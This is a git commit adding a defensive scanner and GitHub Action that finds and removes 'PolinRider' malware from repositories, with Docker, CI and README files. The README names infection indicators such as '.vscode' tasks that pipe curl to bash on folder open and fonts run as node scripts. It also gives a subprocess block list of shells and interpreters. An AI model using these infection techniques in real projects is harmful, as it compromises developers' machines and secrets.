Add initial implementation of PolinRider malware scanner
- Introduced core files including Dockerfile, action.yml, and entry point script (bin/polinrider.js) for the PolinRider malware scanner. - Created configuration files: .env.example, .gitignore, and .npmrc for environment setup and dependency management. - Added CI workflows for testing, building, and releasing the action, along with examples for usage in GitHub Actions. - Implemented a README.md to provide documentation on usage, features, and setup instructions. - Included necessary scripts for building the action and handling security measures during execution. - Established a structured directory for reports and workspace management within Docker. - Ensured all files are set up for a secure and efficient scanning process of GitHub repositories for PolinRider malware.
This commit is contained in:
@@ -0,0 +1,56 @@
|
||||
# Copy to .env and fill in. NEVER commit your real .env.
|
||||
# cp .env.example .env
|
||||
#
|
||||
# Docker Compose auto-loads .env for variable substitution. For direct
|
||||
# `node bin/polinrider.js` runs, export these in your shell instead.
|
||||
|
||||
# ─── Required ──────────────────────────────────────────────────────────────────
|
||||
|
||||
# GitHub Personal Access Token (classic) with scopes: repo (full) + read:org.
|
||||
GH_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
# Target account — set EXACTLY ONE of the following (comment out the other).
|
||||
# • GH_ORG → scans every repo in the organization.
|
||||
# • GH_USER → scans every repo you OWN under your personal account.
|
||||
# Your GitHub organization name (e.g. mycompany):
|
||||
GH_ORG=your-org-name
|
||||
# Your personal GitHub username (uncomment to clean personal repos instead):
|
||||
# GH_USER=your-username
|
||||
|
||||
# ─── Recommended for a first run ─────────────────────────────────────────────────
|
||||
|
||||
# Pilot against specific repo(s) before scanning the whole account. Comma-separated.
|
||||
# Each entry is "name" (the GH_ORG/GH_USER owner is prefixed) or "owner/name".
|
||||
# Leave empty to scan the entire account.
|
||||
# GH_REPO=my-first-repo
|
||||
GH_REPO=
|
||||
|
||||
# DRY_RUN=true scans + reports the planned surgical changes but writes nothing
|
||||
# and opens no PRs. Start with true; set to false only once you're satisfied.
|
||||
DRY_RUN=true
|
||||
|
||||
# Auto-merge the cleanup PRs (default false). Respects branch protection: PRs that
|
||||
# require reviews/checks are left open and reported, not bypassed. Needs a token
|
||||
# with merge rights on the repos.
|
||||
AUTO_MERGE=false
|
||||
# Merge method when AUTO_MERGE=true: squash | merge | rebase.
|
||||
# MERGE_METHOD=squash
|
||||
|
||||
# ─── Optional (sane defaults — usually leave unset) ──────────────────────────────
|
||||
|
||||
# Where JSON + Markdown run reports are written (the container mounts ./reports
|
||||
# here). Set empty to disable report files.
|
||||
# REPORTS_DIR=reports
|
||||
|
||||
# Where repos are cloned (the container provides /workspace via tmpfs).
|
||||
# WORKSPACE=/workspace
|
||||
|
||||
# Where repos are cloned (the container provides /workspace via tmpfs).
|
||||
# WORKSPACE=/workspace
|
||||
|
||||
# Branch name prefix for the cleanup PRs.
|
||||
# BRANCH_PREFIX=fix/polinrider-cleanup
|
||||
|
||||
# Extra hardening: freeze built-in prototypes (--frozen-intrinsics). Experimental;
|
||||
# leave off unless you've confirmed it doesn't break the run.
|
||||
# POLINRIDER_FROZEN=1
|
||||
@@ -0,0 +1,62 @@
|
||||
name: CI
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: 24
|
||||
- run: npm ci
|
||||
- name: Unit tests
|
||||
run: npm test
|
||||
- name: Unit tests (hardened)
|
||||
run: npm run test:hardened
|
||||
|
||||
bundle:
|
||||
# The committed dist/ci.mjs is what the action runs (no install step at
|
||||
# action runtime), so it must always match src/. Rebuild and fail on drift.
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: 24
|
||||
- run: npm ci
|
||||
- name: Rebuild action bundle
|
||||
run: npm run build:action
|
||||
- name: Verify dist/ is up to date
|
||||
run: |
|
||||
if ! git diff --quiet -- dist/; then
|
||||
echo "::error::dist/ is stale. Run 'npm run build:action' and commit the result."
|
||||
git --no-pager diff -- dist/
|
||||
exit 1
|
||||
fi
|
||||
|
||||
self-scan:
|
||||
# Dogfood + self-protection: scan our OWN code for PolinRider malware on
|
||||
# every push/PR. We exclude only the files that legitimately contain
|
||||
# signature strings — the signature catalog, the payload fixtures, and the
|
||||
# bundle that inlines them. Everything else (real source, bin/, scripts/,
|
||||
# configs) is scanned for real, so an actual infection here would fail CI.
|
||||
runs-on: ubuntu-latest
|
||||
needs: bundle
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: ./
|
||||
with:
|
||||
mode: check
|
||||
comment-on-pr: false
|
||||
exclude: |
|
||||
src/signatures.js
|
||||
test/**
|
||||
dist/**
|
||||
@@ -0,0 +1,50 @@
|
||||
name: Release
|
||||
|
||||
# Tag a release (e.g. `git tag v1.2.0 && git push --tags`) to:
|
||||
# 1. verify the committed bundle is fresh,
|
||||
# 2. create a GitHub Release, and
|
||||
# 3. move the major tag (e.g. v1) to this commit so consumers can pin `@v1`.
|
||||
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- "v*.*.*"
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: 24
|
||||
- run: npm ci
|
||||
|
||||
- name: Tests
|
||||
run: npm test
|
||||
|
||||
- name: Verify committed bundle is fresh
|
||||
run: |
|
||||
npm run build:action
|
||||
if ! git diff --quiet -- dist/; then
|
||||
echo "::error::dist/ does not match src/. Build and commit dist/ before tagging."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Create GitHub Release
|
||||
env:
|
||||
GH_TOKEN: ${{ github.token }}
|
||||
run: gh release create "$GITHUB_REF_NAME" --title "$GITHUB_REF_NAME" --generate-notes
|
||||
|
||||
- name: Move major tag (vN → this commit)
|
||||
run: |
|
||||
MAJOR="${GITHUB_REF_NAME%%.*}" # v1.2.0 -> v1
|
||||
git config user.name "github-actions[bot]"
|
||||
git config user.email "github-actions[bot]@users.noreply.github.com"
|
||||
git tag -f "$MAJOR"
|
||||
git push -f origin "refs/tags/$MAJOR"
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
node_modules/
|
||||
|
||||
# NOTE: dist/ is intentionally committed — it is the GitHub Action's runtime
|
||||
# entrypoint (dist/ci.mjs), built from src/ci.js. Do not ignore it.
|
||||
|
||||
# Secrets — never commit. (.env.example is the committed template.)
|
||||
.env
|
||||
.env.local
|
||||
.env.*.local
|
||||
.env.production
|
||||
.env.development
|
||||
|
||||
|
||||
# Local clone workspace / reports
|
||||
/workspace/
|
||||
/reports/
|
||||
@@ -0,0 +1,3 @@
|
||||
# Never run dependency lifecycle scripts when installing this tool's own deps.
|
||||
# Defense-in-depth: a compromised transitive dep cannot execute install hooks.
|
||||
ignore-scripts=true
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
FROM node:20-slim
|
||||
|
||||
# Install git, gh CLI, bash, curl, ca-certs
|
||||
RUN apt-get update && apt-get install -y \
|
||||
git \
|
||||
curl \
|
||||
ca-certificates \
|
||||
gnupg \
|
||||
--no-install-recommends \
|
||||
&& mkdir -p /etc/apt/keyrings \
|
||||
&& curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \
|
||||
| gpg --dearmor -o /etc/apt/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" \
|
||||
> /etc/apt/sources.list.d/github-cli.list \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y gh \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Create non-root user
|
||||
RUN groupadd --gid 1001 scanner \
|
||||
&& useradd --uid 1001 --gid scanner --shell /bin/bash --create-home scanner
|
||||
|
||||
# App directory owned by non-root user
|
||||
WORKDIR /app
|
||||
COPY --chown=scanner:scanner . .
|
||||
|
||||
# Install Node deps. .npmrc sets ignore-scripts=true, so no dependency lifecycle
|
||||
# scripts run during install (defense-in-depth). --ignore-scripts is explicit too.
|
||||
RUN npm ci --omit=dev --ignore-scripts
|
||||
|
||||
# Repos will be cloned here at runtime (tmpfs or volume)
|
||||
RUN mkdir -p /workspace && chown scanner:scanner /workspace
|
||||
|
||||
# Switch to non-root
|
||||
USER scanner
|
||||
|
||||
# Run via the hardened launcher (applies --disallow-code-generation-from-strings).
|
||||
ENTRYPOINT ["node", "bin/polinrider.js"]
|
||||
@@ -0,0 +1,385 @@
|
||||
# PolinRider Org Cleanup Tool
|
||||
|
||||
Scans every repo in a GitHub org for PolinRider malware, removes payloads,
|
||||
and opens a PR per infected repo — all inside an isolated Docker container.
|
||||
|
||||
> Want to scan a **single repo inside CI** instead of sweeping a whole org?
|
||||
> Use the [**GitHub Action**](#use-as-a-github-action) — it reuses the same
|
||||
> detection engine to fail a check, auto-clean, or open a cleanup PR.
|
||||
|
||||
## Contents
|
||||
|
||||
- [What it does](#what-it-does)
|
||||
- [Use as a GitHub Action](#use-as-a-github-action)
|
||||
- [Modes](#modes)
|
||||
- [Enforce it (block infected merges)](#enforce-it-block-infected-merges)
|
||||
- [Permissions](#permissions)
|
||||
- [Reporting](#reporting)
|
||||
- [Excluding known-legit files](#excluding-known-legit-files-and-scanning-the-scanner)
|
||||
- [Inputs](#inputs)
|
||||
- [Notes & limits](#notes--limits)
|
||||
- [Prerequisites](#prerequisites)
|
||||
- [Setup](#setup)
|
||||
- [Running](#running)
|
||||
- [Security design](#security-design)
|
||||
- [Runtime hardening](#runtime-hardening)
|
||||
- [Options](#options)
|
||||
- [PR branch protection](#pr-branch-protection)
|
||||
- [After merging PRs](#after-merging-prs)
|
||||
- [File structure](#file-structure)
|
||||
|
||||
## What it does
|
||||
|
||||
For each repo in your org:
|
||||
|
||||
1. **Clones** the default branch (shallow, `--depth=1`, git hooks disabled)
|
||||
2. **Scans in-process** — reads files as inert text/bytes and pattern-matches known PolinRider signatures. It **never executes** the files it scans (see [Runtime hardening](#runtime-hardening)). Detection is _content-confirmed_: a repo is marked infected only when a real signature matches.
|
||||
3. **Surgically remediates** infected repos — removing only what is confirmed malicious and preserving legitimate code, tasks, fonts, and configs:
|
||||
- **Strips** the appended obfuscated payload (original + rotated variants) from any `.js/.ts/.mjs` file (config files, `App.js`, `vite.config.js`, …), keeping everything before the payload byte-for-byte
|
||||
- **Removes the entire `.vscode` directory** when any task/launch entry is malicious — `curl … | bash`, `runOn: folderOpen` auto-runs, C2 hosts, or running an interpreter against a font/asset (e.g. `node ./public/fonts/x.woff2`)
|
||||
- **Removes font carriers strategically.** A font is a _confirmed carrier_ only when it is unreferenced, fails structural font validation (no valid magic / table directory — real fonts, including commercial `.otf` files with embedded license URLs and binary blobs, are trusted), _and_ contains an appended code payload. When a carrier is found, the scanner removes the carrier plus the whole Font-Awesome-named disguise set (`fa-brands/solid/regular-…`) and its `README.md`, while **preserving clean, non-`fa-` fonts in the same directory** (only the leaf `fonts/` dir is removed if nothing clean remains). `fa-`-named fonts with **no** payload are flagged `suspicious` for manual review — never auto-removed.
|
||||
- **Deletes** `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `branch_structure.json`
|
||||
- **Fixes** `.gitignore` (removes all injected lines — `config.bat`, `temp_*.bat`, `branch_structure.json` — re-adds `.env*` patterns) and untracks committed `.env` files
|
||||
- **Flags for manual review** (never auto-edits): impostor npm dependencies, fetch-and-exec lifecycle scripts, and unknown-but-obfuscated appended code
|
||||
4. **Opens a PR** on a new branch with a precise summary of every change — your branch protection rules apply, nothing merges automatically
|
||||
|
||||
---
|
||||
|
||||
## Use as a GitHub Action
|
||||
|
||||
The same engine is published as a reusable Action that scans the repository being
|
||||
built — no clone, no org token. Drop it into any workflow:
|
||||
|
||||
```yaml
|
||||
# .github/workflows/malware-scan.yml
|
||||
name: PolinRider scan
|
||||
on: [pull_request]
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
scan:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: RMSoft-ltd/polinrider-cleanup@v1
|
||||
with:
|
||||
mode: check # check | fix | pr
|
||||
```
|
||||
|
||||
### Modes
|
||||
|
||||
| `mode` | What it does | Typical trigger |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- |
|
||||
| `check` _(default)_ | Scan only. Exits non-zero when malware is found so a **required status check** blocks the merge. No token needed. | `pull_request` |
|
||||
| `fix` | Surgically cleans the working tree. With `commit: true` it also commits + pushes the fix back to the branch (push events only). | `push` |
|
||||
| `pr` | Cleans on a new branch and opens a cleanup PR (optionally auto-merged). Works where commit-back can't push (fork PRs, protected branches). | `schedule` / `workflow_dispatch` |
|
||||
|
||||
Ready-to-copy workflows live in [`examples/`](examples/).
|
||||
|
||||
### Enforce it (block infected merges)
|
||||
|
||||
`check` exits `1` on a confirmed infection. To turn that into a merge gate, add the
|
||||
job as a **required status check**: repo → Settings → Branches (or Rulesets) →
|
||||
require the `scan` job to pass. PRs then can't merge while malware is detected.
|
||||
|
||||
### Permissions
|
||||
|
||||
Grant the least your mode needs:
|
||||
|
||||
| Mode / feature | Required `permissions:` |
|
||||
| ----------------------- | ------------------------------------------ |
|
||||
| `check` (no PR comment) | `contents: read` |
|
||||
| PR comment (any mode) | `pull-requests: write` |
|
||||
| `fix` + `commit: true` | `contents: write` |
|
||||
| `pr` | `contents: write` + `pull-requests: write` |
|
||||
| `sarif-file` upload | `security-events: write` |
|
||||
|
||||
### Reporting
|
||||
|
||||
Every run writes a Markdown report to the **job summary**, emits inline
|
||||
**annotations** on the PR diff for each finding, and — on `pull_request` events with
|
||||
`comment-on-pr: true` (default) — posts the report as a **PR comment** (needs
|
||||
`pull-requests: write`; skipped with a warning otherwise). Set `sarif-file` to also
|
||||
emit a SARIF report for the **Security** tab:
|
||||
|
||||
```yaml
|
||||
- uses: RMSoft-ltd/polinrider-cleanup@v1
|
||||
with:
|
||||
mode: check
|
||||
sarif-file: polinrider.sarif
|
||||
- uses: github/codeql-action/upload-sarif@v3
|
||||
if: always()
|
||||
with:
|
||||
sarif_file: polinrider.sarif
|
||||
```
|
||||
|
||||
### Excluding known-legit files (and scanning the scanner)
|
||||
|
||||
Some repos legitimately contain content that looks like a payload — security
|
||||
tooling, malware test fixtures, vendored bundles. Use `exclude` to skip those
|
||||
paths so real infections elsewhere still fail the check:
|
||||
|
||||
```yaml
|
||||
- uses: RMSoft-ltd/polinrider-cleanup@v1
|
||||
with:
|
||||
mode: check
|
||||
exclude: |
|
||||
test/fixtures/**
|
||||
vendor/**
|
||||
```
|
||||
|
||||
This is how this repo scans **itself** in CI: it excludes only its signature
|
||||
catalog, payload fixtures, and built bundle (`src/signatures.js`, `test/**`,
|
||||
`dist/**`) — everything else (real source, configs, `bin/`) is scanned for real,
|
||||
so an actual infection here would fail the build. Keep the exclude list as tight
|
||||
as possible; anything excluded is a blind spot.
|
||||
|
||||
### Inputs
|
||||
|
||||
| Input | Default | Description |
|
||||
| --------------- | ------------------------ | ------------------------------------------------------------------------- |
|
||||
| `mode` | `check` | `check` · `fix` · `pr` |
|
||||
| `path` | `.` | Directory to scan (relative to the workspace) |
|
||||
| `exclude` | _(none)_ | Comma/newline-separated paths or globs to skip, e.g. `test/**, vendor/**` |
|
||||
| `token` | `${{ github.token }}` | Token for `pr` mode, `fix`+`commit`, and PR comments |
|
||||
| `fail-on` | `infected` | Severity that fails the job: `infected` · `suspicious` · `never` |
|
||||
| `commit` | `false` | `fix` mode: commit + push the cleanup back (push events) |
|
||||
| `comment-on-pr` | `true` | Post the report as a PR comment on `pull_request` events |
|
||||
| `sarif-file` | _(off)_ | Write a SARIF report to this path |
|
||||
| `dry-run` | `false` | Plan changes without writing/pushing |
|
||||
| `auto-merge` | `false` | `pr` mode: auto-merge (respects branch protection) |
|
||||
| `merge-method` | `squash` | `squash` · `merge` · `rebase` |
|
||||
| `branch-prefix` | `fix/polinrider-cleanup` | `pr` mode branch prefix |
|
||||
|
||||
Several inputs also read a legacy **env var** as a fallback (`DRY_RUN`,
|
||||
`AUTO_MERGE`, `MERGE_METHOD`, `BRANCH_PREFIX`, `POLINRIDER_EXCLUDE`, `SARIF_FILE`),
|
||||
so you can set them in a workflow/job `env:` block instead of `with:` — handy for
|
||||
sharing config across steps. An explicit `with:` value always wins. For a custom
|
||||
token use `with: token:` (it defaults to `${{ github.token }}`):
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
scan:
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
AUTO_MERGE: "true"
|
||||
MERGE_METHOD: rebase
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: RMSoft-ltd/polinrider-cleanup@v1
|
||||
with:
|
||||
mode: pr
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
```
|
||||
|
||||
**Outputs:** `severity`, `infected`, `findings-count`, `changed`, `remediated`,
|
||||
`pr-url`, `sarif-file`.
|
||||
|
||||
### Notes & limits
|
||||
|
||||
- **Pin for security.** `@v1` tracks the latest v1.x; pin a full SHA
|
||||
(`@<commit-sha>`) if you want immutability.
|
||||
- **`fix` + `commit` is push-event only.** On `pull_request` it's skipped (detached
|
||||
HEAD; fork PRs can't be pushed) — use `mode: pr` there. Commit-back uses the
|
||||
default `GITHUB_TOKEN`, whose pushes don't retrigger workflows (no loop).
|
||||
- Only **content-confirmed** infections fail by default; impostor deps and
|
||||
fetch-and-exec scripts are flagged for manual review and (in `fix`/`pr`) still
|
||||
fail the check since they can't be auto-removed.
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- [Docker Desktop](https://www.docker.com/products/docker-desktop/) (or Docker Engine + Compose v2)
|
||||
- A GitHub **Personal Access Token (classic)** with these scopes:
|
||||
- `repo` (full)
|
||||
- `read:org`
|
||||
|
||||
---
|
||||
|
||||
## Setup
|
||||
|
||||
### 1. Clone this tool
|
||||
|
||||
```bash
|
||||
git clone <this-repo>
|
||||
cd polinrider-cleanup
|
||||
```
|
||||
|
||||
### 2. Create your `.env` file (never committed)
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
```
|
||||
|
||||
Edit `.env`:
|
||||
|
||||
```env
|
||||
GH_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxx
|
||||
GH_ORG=your-org-name # an organization…
|
||||
# GH_USER=your-username # …OR a personal account (set exactly one)
|
||||
DRY_RUN=false
|
||||
```
|
||||
|
||||
> **DRY_RUN=true** will scan and remediate locally but skip pushing and PR creation.
|
||||
> Use this first to verify it does what you expect.
|
||||
|
||||
### 3. Build the container
|
||||
|
||||
```bash
|
||||
docker compose build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Running
|
||||
|
||||
### Dry run first (recommended)
|
||||
|
||||
```bash
|
||||
DRY_RUN=true docker compose run --rm polinrider-cleanup
|
||||
```
|
||||
|
||||
Check the output — it will show every infected file and what would be removed,
|
||||
without touching GitHub.
|
||||
|
||||
### Live run
|
||||
|
||||
```bash
|
||||
docker compose run --rm polinrider-cleanup
|
||||
```
|
||||
|
||||
The tool will print a summary at the end listing every PR URL opened.
|
||||
|
||||
---
|
||||
|
||||
## Security design
|
||||
|
||||
| Concern | Mitigation |
|
||||
| ------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Executing scanned malware | Files read as inert text/bytes; no `require`/`eval`/`exec` of targets; codegen disabled; subprocess allowlist (see below) |
|
||||
| Token exposure | Passed via env var only, never baked into image; injected only for `gh` |
|
||||
| Host disk access | Repos cloned to `tmpfs` (RAM only, wiped on exit) |
|
||||
| Root in container | Non-root user `scanner` (UID 1001) |
|
||||
| Container capabilities | All Linux caps dropped (`cap_drop: ALL`) |
|
||||
| Writable fs | Root fs read-only; only `/workspace` and `/tmp` writable via tmpfs |
|
||||
| Resource abuse | CPU and memory limits set in `docker-compose.yml` |
|
||||
|
||||
---
|
||||
|
||||
## Runtime hardening
|
||||
|
||||
The scanner only ever **reads** target files as text/bytes — reading a file never
|
||||
executes it. On top of that architectural guarantee, the tool is hardened in
|
||||
layers so the obfuscated payload cannot run even by accident:
|
||||
|
||||
- **Subprocess allowlist** — only `git` and `gh` may be spawned, with an
|
||||
allowlisted set of subcommands. `node`, `npm`, `npx`, `bash`, `sh`, `deno`,
|
||||
`python`, etc. are rejected, so a `node -e` / `bash -c` style payload can never
|
||||
be launched. Git runs with hooks disabled (`core.hooksPath`), system/global
|
||||
config ignored, and `--no-verify`.
|
||||
- **Code generation disabled** — the launcher (`bin/polinrider.js`) starts Node
|
||||
with `--disallow-code-generation-from-strings`, so `eval()` and `new Function()`
|
||||
throw.
|
||||
- **In-code guards** — `src/safety.js` (imported first) also neutralizes `eval`,
|
||||
the `Function` family, `require('node:vm')`, and `process.binding`, as a
|
||||
fallback when the flag isn't present.
|
||||
- **No install scripts** — `.npmrc` sets `ignore-scripts=true`; the tool never
|
||||
runs `npm install` or a build in a target repo.
|
||||
- **Container** — non-root, all Linux capabilities dropped, read-only root fs.
|
||||
|
||||
> The Node permission model (`--permission`) is intentionally not used: the tool
|
||||
> must spawn `git`/`gh`, which would require `--allow-child-process` (Node warns
|
||||
> this invalidates the model), so it adds little over the layers above.
|
||||
|
||||
Run the tests, including a hardened pass that runs every test with codegen disabled:
|
||||
|
||||
```bash
|
||||
npm test
|
||||
npm run test:hardened
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Options
|
||||
|
||||
| Env var | Default | Description |
|
||||
| --------------- | ------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `GH_TOKEN` | required | GitHub PAT |
|
||||
| `GH_ORG` | required\* | Organization name. Scans every repo in the org. |
|
||||
| `GH_USER` | required\* | Personal username. Scans every repo you own (`affiliation=owner`). |
|
||||
| `GH_REPO` | _(all repos)_ | Scope to specific repo(s), comma-separated. Each is `name` (account owner prefixed) or `owner/name`. Skips the account-wide listing — use it to pilot one repo first. |
|
||||
| `DRY_RUN` | `false` | Skip push and PR |
|
||||
| `AUTO_MERGE` | `false` | Auto-merge each cleanup PR after opening it. Respects branch protection (blocked PRs stay open and are reported). |
|
||||
| `MERGE_METHOD` | `squash` | Merge method when `AUTO_MERGE=true`: `squash`, `merge`, or `rebase`. |
|
||||
| `REPORTS_DIR` | `reports` | Where JSON + Markdown run reports are written. Set empty to disable. |
|
||||
| `WORKSPACE` | `/workspace` | Where repos are cloned |
|
||||
| `BRANCH_PREFIX` | `fix/polinrider-cleanup` | PR branch name prefix |
|
||||
|
||||
\* Set **exactly one** of `GH_ORG` or `GH_USER` — not both, not neither.
|
||||
|
||||
### Auto-merge
|
||||
|
||||
With `AUTO_MERGE=true`, after each PR is opened the tool runs `gh pr merge --<method> --delete-branch`. It **respects branch protection** — a repo that requires reviews or passing checks is left open and listed in the summary (and report) as "auto-merge blocked"; nothing is bypassed. The token must have merge rights on the repo.
|
||||
|
||||
### Reports
|
||||
|
||||
Every run writes `polinrider-<timestamp>.json` + `.md` (and `latest.json` / `latest.md`) to `REPORTS_DIR` (the mounted `./reports` volume in Docker). The files are rewritten after each repo, so you get a durable, auditable trace — including each repo's findings, what was removed/cleaned, the PR link, and merge status — instead of relying on scrollback. The Markdown includes a clickable **Repository | Pull request | Status** table.
|
||||
|
||||
---
|
||||
|
||||
## PR branch protection
|
||||
|
||||
Because your org has branch protection enforced, the tool:
|
||||
|
||||
- Creates a **new branch** per repo (never pushes to `main` or `master` directly)
|
||||
- Opens a PR for review — a human merges it
|
||||
- PR body explains exactly what was changed and why
|
||||
|
||||
---
|
||||
|
||||
## After merging PRs
|
||||
|
||||
1. Notify affected developers to check their machines for the initial dropper
|
||||
2. Rotate any secrets that may have been exposed via committed `.env` files
|
||||
3. Check npm global packages: `npm list -g --depth=0`
|
||||
4. Check VS Code extensions for anything unfamiliar
|
||||
5. Revoke and regenerate any PATs for accounts whose machines were compromised
|
||||
|
||||
---
|
||||
|
||||
## File structure
|
||||
|
||||
```
|
||||
polinrider-remover/
|
||||
├── Dockerfile
|
||||
├── docker-compose.yml
|
||||
├── package.json / .npmrc
|
||||
├── action.yml # GitHub Action metadata (uses dist/ci.mjs)
|
||||
├── dist/
|
||||
│ └── ci.mjs # bundled Action entrypoint (built from src/ci.js — committed)
|
||||
├── examples/ # ready-to-copy consumer workflows (check / fix / pr)
|
||||
├── scripts/
|
||||
│ └── build-action.mjs # esbuild bundler for the Action
|
||||
├── bin/
|
||||
│ └── polinrider.js # hardened launcher (applies V8 flags, then runs src/index.js)
|
||||
├── src/
|
||||
│ ├── index.js # org-sweep orchestrator: list org repos → clone → scan → remediate → PR
|
||||
│ ├── ci.js # GitHub Action frontend: scan the checked-out repo → check/fix/pr
|
||||
│ ├── safety.js # runtime guards (eval/Function/vm/process.binding) — imported first
|
||||
│ ├── safe-exec.js # subprocess allowlist (git/gh only, hooks disabled)
|
||||
│ ├── signatures.js # IOC catalog (payload variants, C2 hosts, font magic, impostor deps)
|
||||
│ ├── scanner.js # content-confirmed detection → Findings report
|
||||
│ ├── exclude.js # glob matcher for the scan `exclude` option
|
||||
│ ├── remediator.js # surgical removal driven by Findings
|
||||
│ ├── sarif.js # Findings → SARIF 2.1.0 (for code-scanning upload)
|
||||
│ ├── jsonc.js # tolerant JSONC parser + array splicer (no eval)
|
||||
│ ├── fonts.js # structural font validation + reference analysis
|
||||
│ ├── walk.js # symlink-safe file walker
|
||||
│ └── report.js # console + Markdown PR-body rendering
|
||||
└── test/ # node:test specs + fixtures
|
||||
```
|
||||
|
||||
> **Two frontends, one engine.** `src/index.js` (org sweep, Docker) and `src/ci.js`
|
||||
> (GitHub Action) both drive the same `scanner.js` + `remediator.js` + signatures —
|
||||
> detection logic is defined once.
|
||||
+76
@@ -0,0 +1,76 @@
|
||||
name: "PolinRider Malware Scanner"
|
||||
description: "Scan a repository for PolinRider malware — fail the check, auto-clean the working tree, or open a cleanup PR."
|
||||
author: "RMSoft-ltd"
|
||||
|
||||
branding:
|
||||
icon: "shield"
|
||||
color: "red"
|
||||
|
||||
inputs:
|
||||
mode:
|
||||
description: "What to do on detection: check (scan + fail), fix (clean the working tree), or pr (open a cleanup PR)."
|
||||
required: false
|
||||
default: "check"
|
||||
path:
|
||||
description: "Directory to scan, relative to the workspace root."
|
||||
required: false
|
||||
default: "."
|
||||
exclude:
|
||||
description: 'Comma/newline-separated paths or globs to skip (repo-relative), e.g. "test/**, vendor/**". Useful to ignore files that legitimately contain malware signatures.'
|
||||
required: false
|
||||
default: ""
|
||||
token:
|
||||
description: "GitHub token used for pr mode, fix + commit, and PR comments."
|
||||
required: false
|
||||
default: ${{ github.token }}
|
||||
fail-on:
|
||||
description: "Severity that fails the job: infected | suspicious | never."
|
||||
required: false
|
||||
default: "infected"
|
||||
commit:
|
||||
description: "In fix mode, commit and push the cleaned files back to the branch (push events only)."
|
||||
required: false
|
||||
default: "false"
|
||||
comment-on-pr:
|
||||
description: "Post the scan report as a comment on pull_request events (needs pull-requests: write)."
|
||||
required: false
|
||||
default: "true"
|
||||
sarif-file:
|
||||
description: "Write a SARIF report to this path for upload to GitHub code scanning (empty = skip)."
|
||||
required: false
|
||||
default: ""
|
||||
dry-run:
|
||||
# No action default on purpose: omitting it lets the DRY_RUN env var apply.
|
||||
# Effective default false.
|
||||
description: "Scan and plan remediation without writing files, pushing, or opening PRs. Also reads the DRY_RUN env var. Default: false."
|
||||
required: false
|
||||
auto-merge:
|
||||
# No action default on purpose: omitting it lets the AUTO_MERGE env var apply.
|
||||
description: "In pr mode, auto-merge the cleanup PR (respects branch protection). Also reads the AUTO_MERGE env var. Default: false."
|
||||
required: false
|
||||
merge-method:
|
||||
description: "Merge method when auto-merge is on: squash | merge | rebase. Also reads the MERGE_METHOD env var. Default: squash."
|
||||
required: false
|
||||
branch-prefix:
|
||||
description: "Branch name prefix for pr mode. Also reads the BRANCH_PREFIX env var. Default: fix/polinrider-cleanup."
|
||||
required: false
|
||||
|
||||
outputs:
|
||||
severity:
|
||||
description: "clean | suspicious | infected."
|
||||
infected:
|
||||
description: "true when a confirmed PolinRider payload was found."
|
||||
findings-count:
|
||||
description: "Number of findings."
|
||||
changed:
|
||||
description: "true when files were modified or deleted (fix/pr modes)."
|
||||
remediated:
|
||||
description: "true when any file was cleaned or removed."
|
||||
pr-url:
|
||||
description: "URL of the cleanup PR (pr mode)."
|
||||
sarif-file:
|
||||
description: "Path to the written SARIF report, if any."
|
||||
|
||||
runs:
|
||||
using: "node24"
|
||||
main: "dist/ci.mjs"
|
||||
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* Hardened launcher.
|
||||
*
|
||||
* A `#!/usr/bin/env node` shebang cannot self-apply V8 flags after the process
|
||||
* has already started, so this launcher re-spawns Node WITH the hardening flags
|
||||
* and then runs the orchestrator. The flags are also propagated via NODE_OPTIONS
|
||||
* so they would inherit to any further child (there are none — the subprocess
|
||||
* allowlist forbids spawning node — but it keeps the guarantee).
|
||||
*
|
||||
* --disallow-code-generation-from-strings → eval() / new Function() throw
|
||||
* --frozen-intrinsics (opt-in: POLINRIDER_FROZEN=1) → freeze built-in protos
|
||||
*/
|
||||
|
||||
import { spawnSync } from "node:child_process";
|
||||
import { fileURLToPath } from "node:url";
|
||||
